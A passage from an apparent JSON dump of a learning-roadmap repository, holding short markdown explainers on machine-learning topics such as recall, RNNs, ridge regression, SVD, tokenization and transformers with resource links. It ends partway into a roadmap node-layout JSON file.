    "content": "# Random Variables and Probability Density Functions\n\nA random variable is a variable whose value is a numerical outcome of a random phenomenon. It can be discrete (taking on a finite or countably infinite number of values) or continuous (taking on any value within a given range).\n\nThe probability density function (PDF) describes the relative likelihood for a continuous random variable to take on a given value. It's important to note that the value of the PDF at any given point is not a probability itself, but rather the area under the PDF curve over a given interval represents the probability of the random variable falling within that interval.\n\nVisit the following resources to learn more:\n\n- [@article@Random Variable: What is it in Statistics?](https://www.statisticshowto.com/random-variable/)\n- [@article@The Basics of Probability Density Function (PDF), With an Example](https://www.investopedia.com/terms/p/pdf.asp)\n- [@video@Sample Variance in Random Population Sampling](https://www.youtube.com/watch?v=yNnUVHfX5yQ)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/recall@DH33Na9zz_WGmbD-Dxvq1.md",
    "content": "# Recall\n\nRecall measures how well a model identifies all the actual positive cases. It answers the question: \"Of all the actual positive instances, how many did the model correctly predict as positive?\". A high recall means the model is good at minimizing false negatives. The formula for recall is: `Recall = True Positives / (True Positives + False Negatives)`.\n\nVisit the following resources to learn more:\n\n- [@article@Recall | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.recall_score.html)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/recommendation-systems@_eKuBhCCwUHnEGwHNQY-g.md",
    "content": "# CNNs for Recommendation Systems\n\nConvolutional Neural Networks (CNNs), typically used for image processing, can also enhance recommendation systems. They do this by extracting features from user-item interaction data, like purchase history or ratings. For example, a CNN can analyze a matrix representing user preferences for different movie genres to identify patterns. These patterns help predict what movies a user might enjoy, even if they haven't explicitly rated them. By learning these complex relationships, CNNs can provide more personalized and accurate recommendations."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/recurrent-neural-networks@H0cscBaExZPNZuFubBUv7.md",
    "content": "# Recurrent Neural Networks\n\nRecurrent Neural Networks (RNNs) are a type of neural network designed to process sequential data, where the order of the inputs matters. Unlike traditional feedforward networks that treat each input independently, RNNs have a \"memory\" that allows them to consider previous inputs when processing new ones. This memory is implemented through recurrent connections, which feed the output of a neuron back into itself or other neurons in the network, enabling the network to learn patterns and dependencies across time or sequence steps.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Recurrent Neural Network (RNN)?](https://www.ibm.com/think/topics/recurrent-neural-networks)\n- [@article@What is RNN? - Recurrent Neural Networks Explained](https://aws.amazon.com/what-is/recurrent-neural-network/)\n- [@video@Recurrent Neural Networks (RNNs), Clearly Explained](https://www.youtube.com/watch?v=AsNTP8Kwu80)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/regression@gKu6tnpTO2PhDDMYp2u7F.md",
    "content": "# Regression\n\nRegression in supervised learning is a method used to predict a continuous numerical value. It works by finding the relationship between input features (independent variables) and a target variable (dependent variable). The goal is to build a model that can accurately estimate the target variable's value based on the given input features. For example, predicting house prices based on size and location is a regression problem."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/reinforcement-learning@NC1A2SQVyc1n-KEf6yl-4.md",
    "content": "# Reinforcement Learning\n\nReinforcement learning is a type of machine learning where an agent learns to make decisions in an environment to maximize a reward. The agent interacts with the environment, takes actions, and receives feedback in the form of rewards or penalties. Through trial and error, the agent learns a policy that maps states to actions, aiming to accumulate the most reward over time.\n\nVisit the following resources to learn more:\n\n- [@article@What is reinforcement learning?](https://online.york.ac.uk/resources/what-is-reinforcement-learning/)\n- [@article@Resources to Learn Reinforcement Learning](https://towardsdatascience.com/best-free-courses-and-resources-to-learn-reinforcement-learning-ed6633608cb2/)\n- [@article@https://huggingface.co/learn/deep-rl-course/unit0/introduction](https://huggingface.co/learn/deep-rl-course/unit0/introduction)\n- [@article@Reinforcement Learning in 3 Hours | Full Course using Python](https://www.youtube.com/watch?v=Mut_u40Sqz4)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/ridge@1aX_vO5zxfTV8_kUIFHkR.md",
    "content": "# Ridge Regression\n\nRidge Regression is a linear regression technique that adds a penalty to the size of the coefficients. This penalty, known as L2 regularization, shrinks the coefficient values towards zero. By adding this constraint, Ridge Regression aims to reduce the model's complexity and prevent overfitting, especially when dealing with datasets that have high multicollinearity (where predictor variables are highly correlated).\n\nVisit the following resources to learn more:\n\n- [@article@Ridge | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.Ridge.html)\n- [@video@Mastering Ridge Regression in Python with scikit-learnv](https://www.youtube.com/watch?v=GMF4Td7KtB0)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/rnn@LpggrF1MMvAxtO9EJe3wY.md",
    "content": "# Recurrent Neural Networks\n\nRecurrent Neural Networks (RNNs) are a type of neural network designed to process sequential data. Unlike standard feedforward networks that treat each input independently, RNNs have connections that loop back on themselves, allowing them to maintain a \"memory\" of past inputs. This memory enables them to learn patterns and dependencies across sequences, making them suitable for tasks like natural language processing, time series analysis, and speech recognition.\n\nVisit the following resources to learn more:\n\n- [@article@Recurrent Neural Network Tutorial (RNN)](https://www.datacamp.com/tutorial/tutorial-for-recurrent-neural-network)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/roc-auc@anEGWHVpcp75e3jQrj_LZ.md",
    "content": "# ROC-AUC\n\nROC-AUC, or Receiver Operating Characteristic Area Under the Curve, is a performance measurement for classification problems at various threshold settings. ROC is a probability curve that plots the True Positive Rate (TPR) against the False Positive Rate (FPR) at different threshold values. AUC measures the entire two-dimensional area underneath the entire ROC curve from (0,0) to (1,1). AUC provides an aggregate measure of performance across all possible classification thresholds.\n\nVisit the following resources to learn more:\n\n- [@article@ROC-AUC score | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.roc_auc_score.html)\n- [@article@AUC and the ROC Curve in Machine Learning](https://www.datacamp.com/tutorial/auc)\n- [@article@Classification: ROC and AUC](https://developers.google.com/machine-learning/crash-course/classification/roc-and-auc)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/scalars-vectors-tensors@d7J8GEkut61NDGRzROJoP.md",
    "content": "# Scalars, Vectors, and Tensors\n\nScalars, vectors, and tensors are fundamental building blocks for representing data in machine learning. A scalar is a single numerical value, like a temperature reading. A vector is an ordered array of numbers, representing a point in space or a feature set for a single data instance. A tensor is a generalization of vectors and matrices to higher dimensions; it can be thought of as a multi-dimensional array, useful for representing images, videos, or complex datasets with multiple features and relationships.\n\nVisit the following resources to learn more:\n\n- [@article@From Vectors to Tensors: Exploring the Mathematics of Tensor Algebra](https://towardsdatascience.com/what-are-tensors-in-machine-learning-5671814646ff/)\n- [@article@Scalar, Vector, Tensor](https://e-magnetica.pl/doku.php/scalar_vector_tensor)\n- [@video@What the HECK is a Tensor?!?](https://www.youtube.com/watch?v=bpG3gqDM80w)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/scikit-learn@ZVbnAF9I1r8qWFFYG6nXv.md",
    "content": "# Scikit-learn\n\nScikit-learn is a free and open-source Python library that provides simple and efficient tools for data analysis and machine learning. It features various algorithms for classification, regression, clustering, dimensionality reduction, model selection, and preprocessing. It's built on NumPy, SciPy, and matplotlib, making it easy to integrate with other scientific Python libraries.\n\nVisit the following resources to learn more:\n\n- [@official@scikit-learn: machine learning in Python](https://scikit-learn.org/)\n- [@opensource@scikit-learn](https://github.com/scikit-learn/scikit-learn)\n- [@video@Scikit-learn Crash Course - Machine Learning Library for Python](https://www.youtube.com/watch?v=0B5eIE_1vpU)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/scikit-learn@yKtRmgwrJ75VVz7_txZ-S.md",
    "content": "# Scikit-learn for Neural Networks\n\nScikit-learn is a popular Python library mainly used for traditional machine learning tasks like classification, regression, and clustering. While it's not primarily designed for deep learning, it does offer basic tools for creating simple neural networks, specifically multi-layer perceptrons (MLPs). You can use `sklearn.neural_network.MLPClassifier` for classification problems and `sklearn.neural_network.MLPRegressor` for regression problems. These tools allow you to quickly build and train basic neural networks without needing a dedicated deep learning framework like TensorFlow or PyTorch.\n\nVisit the following resources to learn more:\n\n- [@article@Neural network models | scikit-learn](https://scikit-learn.org/stable/modules/neural_networks_supervised.html)\n- [@video@How to train and test a neural network using scikit-learn and Keras in Jupyter Notebook.](https://www.youtube.com/watch?v=_JG71FIP1rk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/seaborn@VYVLUxhp3XxxknNr5V966.md",
    "content": "# Seaborn\n\nSeaborn is a robust, comprehensive Python library focused on the creation of informative and attractive statistical graphics. As a data analyst, seaborn plays an essential role in elaborating complex visual stories with the data. It aids in understanding the data by providing an interface for drawing attractive and informative statistical graphics. Seaborn is built on top of Python's core visualization library Matplotlib, and is integrated with data structures from Pandas. This makes seaborn an integral tool for data visualization in the data analyst's toolkit, making the exploration and understanding of data easier and more intuitive.\n\nVisit the following resources to learn more:\n\n- [@official@Seaborn](https://seaborn.pydata.org/)\n- [@video@Seaborn Tutorial : Seaborn Full Course](https://www.youtube.com/watch?v=6GUZXDef2U0)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/self-attention@oTKC1o1OOnPiTh60a8yVc.md",
    "content": "# Self-Attention\n\nSelf-attention is a mechanism that allows a model to focus on different parts of the input sequence when processing it. Instead of treating each element in the sequence independently, self-attention calculates a weighted sum of all elements, where the weights are determined by the relationships between the elements themselves. This enables the model to capture dependencies and contextual information within the input sequence, regardless of their distance from each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is self-attention?](https://www.ibm.com/think/topics/self-attention)\n- [@video@Why is Self Attention called \"Self\"? | Self Attention Vs Luong Attention in Depth Lecture](https://www.youtube.com/watch?v=o4ZVA0TuDRg)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/self-supervised-learning@lgO7luG7-R_FY5nwFjRE0.md",
    "content": "# Self-Supervised Learning\n\nSelf-supervised learning is a type of machine learning where the model learns from unlabeled data by creating its own supervisory signals. This is achieved by masking parts of the input data and training the model to predict the masked portions based on the remaining data. In essence, the data itself provides the labels, allowing the model to learn useful representations without requiring explicit human annotation.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Self-Supervised Learning?](https://www.ibm.com/think/topics/self-supervised-learning)\n- [@video@What is Self Supervised Learning?](https://www.youtube.com/watch?v=sJzuNAisXHA)\n- [@video@Mark Zuckerberg: AI Learns More Efficiently With Self-Supervised Learning](https://www.youtube.com/watch?v=R8DduzhT3-w)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/semi-supervised-learning@Yho0zf9F-ROhEnTxRMq_M.md",
    "content": "# Semi-Supervised Learning\n\nSemi-supervised learning is a type of machine learning where the training data contains both labeled and unlabeled examples. The goal is to leverage the information from the unlabeled data to improve the performance of a model that would otherwise be trained solely on the labeled data. This approach is particularly useful when obtaining labels is expensive or time-consuming, but unlabeled data is readily available.\n\nVisit the following resources to learn more:\n\n- [@article@What is Semi-Supervised Learning?](https://www.ibm.com/think/topics/semi-supervised-learning)\n- [@video@What is Semi-Supervised Learning?](https://www.youtube.com/watch?v=C3Lr6Waw66g)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/singular-value-decomposition@yGs2h10gZcO4GMaWfI3uW.md",
    "content": "# Singular Value Decomposition\n\nSingular Value Decomposition (SVD) is a matrix factorization technique that decomposes a rectangular matrix into three other matrices: a unitary matrix, a diagonal matrix of singular values, and another unitary matrix. This decomposition reveals the underlying structure of the original matrix, highlighting its principal components and allowing for dimensionality reduction and noise removal. Essentially, SVD breaks down a complex matrix into simpler, more manageable components that capture the most important information.\n\nVisit the following resources to learn more:\n\n- [@book@Singular Value Decomposition](https://www.cs.cmu.edu/~venkatg/teaching/CStheory-infoage/book-chapter-4.pdf)\n- [@article@Singular Value Decomposition](https://en.wikipedia.org/wiki/Singular_value_decomposition)\n- [@video@Singular Value Decomposition (SVD): Overview](https://www.youtube.com/watch?v=gXbThCXjZFM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/skills-and-responsibilities@BzZd-d5t63dY97SRSIb0J.md",
    "content": "# Skills and Responsibilities\n\nMachine learning roles require a blend of technical expertise and practical abilities. These roles involve designing, developing, and deploying machine learning models to solve real-world problems. Key skills include proficiency in programming languages like Python, a strong understanding of statistical concepts, and experience with machine learning frameworks. Responsibilities often encompass data collection and preprocessing, model selection and training, performance evaluation, and continuous model improvement."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/statistics@5DiaZkljhHAGPi9DkaH3b.md",
    "content": "# Statistics\n\nStatistics is the science of collecting, analyzing, interpreting, presenting, and organizing data. It is a branch of mathematics that deals with the collection, analysis, interpretation, presentation, and organization of data. It is used in a wide range of fields, including science, engineering, medicine, and social science. Statistics is used to make informed decisions, to predict future events, and to test hypotheses. It is also used to summarize data, to describe relationships between variables, and to make inferences about populations based on samples.\n\nVisit the following resources to learn more:\n\n- [@book@Introductory Statistics](https://assets.openstax.org/oscms-prodcms/media/documents/IntroductoryStatistics-OP_i6tAI7e.pdf)\n- [@article@Introduction to Statistics](https://imp.i384100.net/3eRv4v)\n- [@video@Statistics - A Full University Course on Data Science Basics](https://www.youtube.com/watch?v=xxpc-HPKN28)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/stemming@UO1GEUe8e22uRB6DAxfpe.md",
    "content": "# Stemming\n\nStemming is a text normalization technique in natural language processing that reduces words to their root or base form, known as the stem. This is achieved by removing suffixes (like \"-ing\", \"-ed\", \"-s\") from words. The goal is to treat words with similar meanings as the same, even if they have slightly different forms, which helps to simplify text analysis and improve the efficiency of certain NLP tasks.\n\nVisit the following resources to learn more:\n\n- [@article@What are stemming and lemmatization?](https://www.ibm.com/think/topics/stemming-lemmatization)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/strides@YWxSI45e5K_4YOrvmh6LV.md",
    "content": "# Strides\n\nIn convolutional neural networks, a stride determines how many pixels the filter (or kernel) shifts horizontally and vertically during the convolution operation. A stride of 1 means the filter moves one pixel at a time, resulting in a more detailed feature map. A larger stride, like 2 or 3, causes the filter to jump over pixels, producing a smaller feature map and reducing computational cost, but potentially missing finer details in the input image.\n\nVisit the following resources to learn more:\n\n- [@article@Padding and Stride](https://d2l.ai/chapter_convolutional-neural-networks/padding-and-strides.html)\n- [@video@Convolution padding and stride](https://www.youtube.com/watch?v=oDAPkZ53zKk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/supervised-learning@5MUwKGfSTKlam8KCG0A1U.md",
    "content": "# Supervised Learning\n\nSupervised learning is a type of machine learning where an algorithm learns from a labeled dataset. This means that each data point in the dataset is paired with a corresponding correct output, or \"label.\" The algorithm's goal is to learn a function that maps inputs to outputs, so that when given new, unseen inputs, it can predict the correct output based on the patterns it learned from the labeled data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Supervised Learning?](https://cloud.google.com/discover/what-is-supervised-learning)\n- [@article@Supervised Machine Learning](https://www.datacamp.com/blog/supervised-machine-learning)\n- [@video@Supervised Machine Learning Explained For Beginners](https://www.youtube.com/watch?v=Mu3POlNoLdc)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/support-vector-machines@_jS66rGAWecXH3zVF-5ds.md",
    "content": "# Support Vector Machines\n\nSupport Vector Machines (SVMs) are a type of supervised learning algorithm used for classification and regression. They work by finding an optimal hyperplane that separates data points belonging to different classes with the largest possible margin. This hyperplane acts as a decision boundary, and new data points are classified based on which side of the hyperplane they fall on.\n\nVisit the following resources to learn more:\n\n- [@article@Support Vector Classification (SVC) - scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.svm.SVC.html)\n- [@article@Support Vector Machines with Scikit-learn Tutorial](https://www.datacamp.com/tutorial/svm-classification-scikit-learn-python)\n- [@video@Mastering Support Vector Machines with Python and Scikit-Learn](https://www.youtube.com/watch?v=kPkwf1x7zpU)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/tensorflow@Ru8_xMyFxye1hyzCUYvnj.md",
    "content": "# TensorFlow\n\nTensorFlow is an open-source software library created by Google for numerical computation and large-scale machine learning. It provides a flexible architecture and tools that allow users to easily build and deploy machine learning models, particularly deep neural networks. TensorFlow excels at handling complex computations across various platforms, including CPUs, GPUs, and TPUs, making it suitable for research, development, and production environments.\n\nVisit the following resources to learn more:\n\n- [@official@TensorFlow](https://www.tensorflow.org/)\n- [@official@TensorFlow tutorials](https://www.tensorflow.org/tutorials)\n- [@article@Mastering Deep Learning with TensorFlow: From Beginner to Expert](https://towardsdatascience.com/an-introduction-to-tensorflow-fa5b17051f6b/)\n- [@video@Python TensorFlow for Machine Learning – Neural Network Text Classification Tutorial](https://www.youtube.com/watch?v=VtRLrQ3Ev-U)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/tokenization@QbftToskhtBlTz1jyiRkb.md",
    "content": "# Tokenization\n\nTokenization is the process of breaking down a text string into smaller units called tokens. These tokens can be words, phrases, symbols, or other meaningful elements. The goal is to convert raw text into a format that can be easily processed and analyzed by a computer.\n\nVisit the following resources to learn more:\n\n- [@article@What is Tokenization? Types, Use Cases, Implementation](https://www.datacamp.com/blog/what-is-tokenization)\n- [@article@The Art of Tokenization: Breaking Down Text for AI](https://towardsdatascience.com/the-art-of-tokenization-breaking-down-text-for-ai-43c7bccaed25/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/train---test-data@5xxAg18h74pDAUPy6P8NQ.md",
    "content": "# Train-Test Data\n\nWhen building a machine learning model, we usually split our dataset into two parts: a training set and a testing set. The training set is used to teach the model how to make predictions, while the testing set is used to evaluate how well the model has learned. This helps us understand if the model can generalize to new, unseen data. In scikit-learn, you can easily split your data using the `train_test_split` function from the `model_selection` module. You provide your data and labels to this function, and it returns the split datasets. You can also specify the proportion of data to be used for testing.\n\nVisit the following resources to learn more:\n\n- [@official@train_test_split](https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.train_test_split.html)\n- [@article@Split Your Dataset With scikit-learn's train_test_split()](https://realpython.com/train-test-split-python-data/)\n- [@video@Train Test Split with Python Machine Learning (Scikit-Learn)](https://www.youtube.com/watch?v=SjOfbbfI2qY)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/transformers@rDIg16eb6B6um1P8uMy51.md",
    "content": "# Transformers\n\nTransformers are a type of neural network architecture that rely on attention mechanisms to weigh the importance of different parts of the input data. Unlike recurrent neural networks (RNNs) that process data sequentially, transformers can process the entire input at once, allowing for parallelization and capturing long-range dependencies more effectively. This architecture is particularly well-suited for tasks involving sequential data, such as natural language processing, where understanding the context of words within a sentence is crucial.\n\nVisit the following resources to learn more:\n\n- [@course@LLM Course | HuggingFace](https://huggingface.co/learn/llm-course/chapter1/1)\n- [@article@What is a Transformer Model?](https://www.ibm.com/think/topics/transformer-model)\n- [@article@How Transformers Work: A Detailed Exploration of Transformer Architecture](https://www.datacamp.com/tutorial/how-transformers-work)\n- [@video@Transformers, explained: Understand the model behind GPT, BERT, and T5](https://www.youtube.com/watch?v=SZorAJ4I-sA&t)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/tuning@m4vmnxRMBf7zwNnwrMEnk.md",
    "content": "# Hyperparameter Optimization in Scikit-learn\n\nScikit-learn provides tools to find the best settings (hyperparameters) for your machine learning models. Instead of manually trying different values, you can use techniques like GridSearchCV or RandomizedSearchCV. These methods systematically test a range of hyperparameter combinations using cross-validation to evaluate performance. The goal is to identify the hyperparameter set that yields the best model performance on your data, improving accuracy and generalization.\n\nVisit the following resources to learn more:\n\n- [@official@Tuning the hyper-parameters of an estimator](https://scikit-learn.org/stable/modules/grid_search.html)\n- [@video@A Comprehensive Guide to Cross-Validation with Scikit-Learn and Python](https://www.youtube.com/watch?v=glLNo1ZnmPA)\n- [@video@Hands-On Hyperparameter Tuning with Scikit-Learn: Tips and Tricks](https://www.youtube.com/watch?v=LrCylIe0RJM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/types-of-distribution@WLlZE_vto-CYY5GLV_w7o.md",
    "content": "# Types of Distribution\n\nA distribution describes how data is spread or arranged across its possible values. It provides a way to understand the probability of different outcomes occurring within a dataset. Different types of distributions, like normal, uniform, or binomial, each have unique characteristics that determine the likelihood of observing specific values. Understanding these distributions is essential for summarizing data, making predictions, and performing statistical inference.\n\nVisit the following resources to learn more:\n\n- [@article@Probability Distribution | Formula, Types, & Examples](https://www.scribbr.com/statistics/probability-distributions/)\n- [@article@List of probability distributions](https://en.wikipedia.org/wiki/List_of_probability_distributions)\n- [@video@Probability: Types of Distributions](https://www.youtube.com/watch?v=b9a27XN_6tg)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/types-of-machine-learning@Ns2zKn8BL_kTEI6O65pCp.md",
    "content": "# Types of Machine Learning\n\nMachine learning algorithms learn from data to make predictions or decisions. These algorithms are broadly categorized into supervised, unsupervised, and reinforcement learning. Supervised learning uses labeled data to train a model to map inputs to outputs. Unsupervised learning, on the other hand, works with unlabeled data to discover hidden patterns and structures. Reinforcement learning involves training an agent to make decisions in an environment to maximize a reward. More recently, semi-supervised learning, which uses a combination of labeled and unlabeled data, and self-supervised learning, where the data itself provides the supervision signal, have gained prominence.\n\nVisit the following resources to learn more:\n\n- [@article@5 types of machine learning](https://lumenalta.com/insights/5-types-of-machine-learning)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/unsupervised-learning@36ryjK5isV1MD4MgZP2Jn.md",
    "content": "# Unsupervised Learning\n\nUnsupervised learning is a type of machine learning where the algorithm learns patterns from unlabeled data. Unlike supervised learning, there are no pre-defined correct answers or target variables provided to guide the learning process. Instead, the algorithm explores the data to discover hidden structures, relationships, and groupings on its own. Common tasks in unsupervised learning include clustering, dimensionality reduction, and anomaly detection.\n\nVisit the following resources to learn more:\n\n- [@article@What is Unsupervised Learning?](https://cloud.google.com/discover/what-is-unsupervised-learning)\n- [@article@Introduction to Unsupervised Learning](https://www.datacamp.com/blog/introduction-to-unsupervised-learning)\n- [@video@Unsupervised Machine Learning Explained For Beginners](https://www.youtube.com/watch?v=yteYU_QpUxs)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/validation-techniques@0hi0LdCtj9Paimgfc-l1O.md",
    "content": "# Validation Techniques\n\nValidation techniques are methods used to estimate how well a machine learning model will generalize to unseen data. They involve splitting the available data into different subsets: a training set used to train the model, and a validation set used to evaluate the model's performance during training or hyperparameter tuning. By assessing the model on data it hasn't seen before, validation techniques help to identify issues like overfitting and underfitting, and ultimately guide the selection of the best model for a given task.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-validation: evaluating estimator performance | scikit-learn](https://scikit-learn.org/stable/modules/cross_validation.html)\n- [@article@The 5 Stages of Machine Learning Validation](https://towardsdatascience.com/the-5-stages-of-machine-learning-validation-162193f8e5db/)\n- [@article@What is the Difference Between Test and Validation Datasets?](https://machinelearningmastery.com/difference-test-validation-datasets/)\n- [@video@Validating Machine Learning Model and Avoiding Common Challenges](https://www.youtube.com/watch?v=TnIh2b2Rw6%5D(https://www.youtube.com/watch?v=TnIh2b2Rw6Y))"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/variables-and-data-types@dEFLBGpiH6nbSMeR7ecaT.md",
    "content": "# Variables and Data Types\n\nVariables are named storage locations in a computer's memory used to hold data. Data types classify the kind of value a variable can hold, such as numbers (integers, decimals), text (strings), or boolean values (true/false). Understanding variables and data types is fundamental to writing any program, as it dictates how data is stored, manipulated, and used within the code.\n\nVisit the following resources to learn more:\n\n- [@article@Variables in Python](https://realpython.com/python-variables)\n- [@article@Python for Beginners: Data Types](https://thenewstack.io/python-for-beginners-data-types/)\n- [@video@Python Variables and Data Types](https://www.youtube.com/playlist?list=PLBlnK6fEyqRhN-sfWgCU1z_Qhakc1AGOn)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/what-is-an-ml-engineer@FgzPlLUfGdlZPvPku0-Xl.md",
    "content": "# ML Engineer\n\nAn ML Engineer focuses on building, deploying, and maintaining machine learning systems in production. They bridge the gap between data science and software engineering, taking models developed by data scientists and making them scalable, reliable, and efficient for real-world applications. This involves tasks like data pipeline construction, model deployment, performance monitoring, and infrastructure management.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Machine Learning Engineer? (+ How to Get Started)](https://www.coursera.org/articles/what-is-machine-learning-engineer)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/what-is-machine-learning@rzhVFzl5H5MWtcvr8ayRk.md",
    "content": "# Machine Learning\n\nMachine learning is a field of computer science that focuses on enabling computers to learn from data without being explicitly programmed. Instead of relying on pre-defined rules, machine learning algorithms identify patterns, make predictions, and improve their performance over time as they are exposed to more data. This learning process allows machines to adapt to new situations and solve complex problems that are difficult or impossible to address with traditional programming techniques.\n\nVisit the following resources to learn more:\n\n- [@book@Machine Learning: The Basics](https://alexjungaalto.github.io/MLBasicsBook.pdf)\n- [@article@What is Machine Learning (ML)?](https://www.ibm.com/topics/machine-learning)\n- [@video@What is Machine Learning?](https://www.youtube.com/watch?v=9gGnTQTYNaE)\n- [@video@Complete Machine Learning in One Video | Machine Learning Tutorial For Beginners 2025 | Simplilearn](https://www.youtube.com/watch?v=PtYRUoJRE9s)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/what-is-model-evaluation@99TI95HVGrXIYr-PIDxhC.md",
    "content": "# Model Evaluation\n\nModel evaluation is the process of assessing how well a machine learning model performs on a given dataset. It involves using various metrics and techniques to quantify the model's accuracy, reliability, and generalization ability. This helps determine if the model is suitable for deployment and whether further improvements are needed."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/what-is-reinforcement-learning@EtU_9MOklVBvnvyg30Yfx.md",
    "content": "# What is Reinforcement Learning?\n\nReinforcement learning is a type of machine learning where an agent learns to make decisions in an environment to maximize a reward. The agent interacts with the environment, takes actions, and receives feedback in the form of rewards or penalties. Through trial and error, the agent learns a policy that maps states to actions, aiming to accumulate the most reward over time.\n\nVisit the following resources to learn more:\n\n- [@article@What is reinforcement learning?](https://online.york.ac.uk/resources/what-is-reinforcement-learning/)\n- [@article@Resources to Learn Reinforcement Learning](https://towardsdatascience.com/best-free-courses-and-resources-to-learn-reinforcement-learning-ed6633608cb2/)\n- [@article@https://huggingface.co/learn/deep-rl-course/unit0/introduction](https://huggingface.co/learn/deep-rl-course/unit0/introduction)\n- [@video@Reinforcement Learning in 3 Hours | Full Course using Python](https://www.youtube.com/watch?v=Mut_u40Sqz4)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/what-is-supervised-learning@ajKU5CPlbn7BbWHEhUNaB.md",
    "content": "# What is Supervised Learning?\n\nSupervised learning is a type of machine learning where an algorithm learns from a labeled dataset. This means that each data point in the dataset is paired with a corresponding correct output, or \"label.\" The algorithm's goal is to learn a function that maps inputs to outputs, so that when given new, unseen inputs, it can predict the correct output based on the patterns it learned from the labeled data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Supervised Learning?](https://cloud.google.com/discover/what-is-supervised-learning)\n- [@article@Supervised Machine Learning](https://www.datacamp.com/blog/supervised-machine-learning)\n- [@video@Supervised Machine Learning Explained For Beginners](https://www.youtube.com/watch?v=Mu3POlNoLdc)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/what-is-unsupervised-learning@9oWdnQd-vwVJi62JQLgJ5.md",
    "content": "# What is Unsupervised Learning?\n\nUnsupervised learning is a type of machine learning where the algorithm learns patterns from unlabeled data. Unlike supervised learning, there are no pre-defined correct answers or target variables provided to guide the learning process. Instead, the algorithm explores the data to discover hidden structures, relationships, and groupings on its own. Common tasks in unsupervised learning include clustering, dimensionality reduction, and anomaly detection.\n\nVisit the following resources to learn more:\n\n- [@article@What is Unsupervised Learning?](https://cloud.google.com/discover/what-is-unsupervised-learning)\n- [@article@Introduction to Unsupervised Learning](https://www.datacamp.com/blog/introduction-to-unsupervised-learning)\n- [@video@Unsupervised Machine Learning Explained For Beginners](https://www.youtube.com/watch?v=yteYU_QpUxs)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/why-is-it-important@vmERbhRIevLLNc7Ny2pWp.md",
    "content": "# Model Evaluation: Importance\n\nModel evaluation is the process of assessing how well a machine learning model performs on a given dataset. It involves using various metrics and techniques to quantify the model's accuracy, reliability, and generalization ability. This assessment helps determine if the model is suitable for deployment and provides insights into areas where it can be improved."
  },
  {
    "path": "src/data/roadmaps/machine-learning/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/machine-learning/machine-learning.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"cEqaGDCSHcziRkbYub-nL\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -189.13678599861362, \"y\": 4336.840756570174 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 },\n        \"oldId\": \"pzEgbKewpTcphOkGFhoKb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 99,\n      \"measured\": { \"width\": 20, \"height\": 99 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"NPwtRNBoFScSbN6uNo-r5\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 232.59010183215503, \"y\": 4316.900127048074 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 109,\n      \"measured\": { \"width\": 20, \"height\": 109 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": 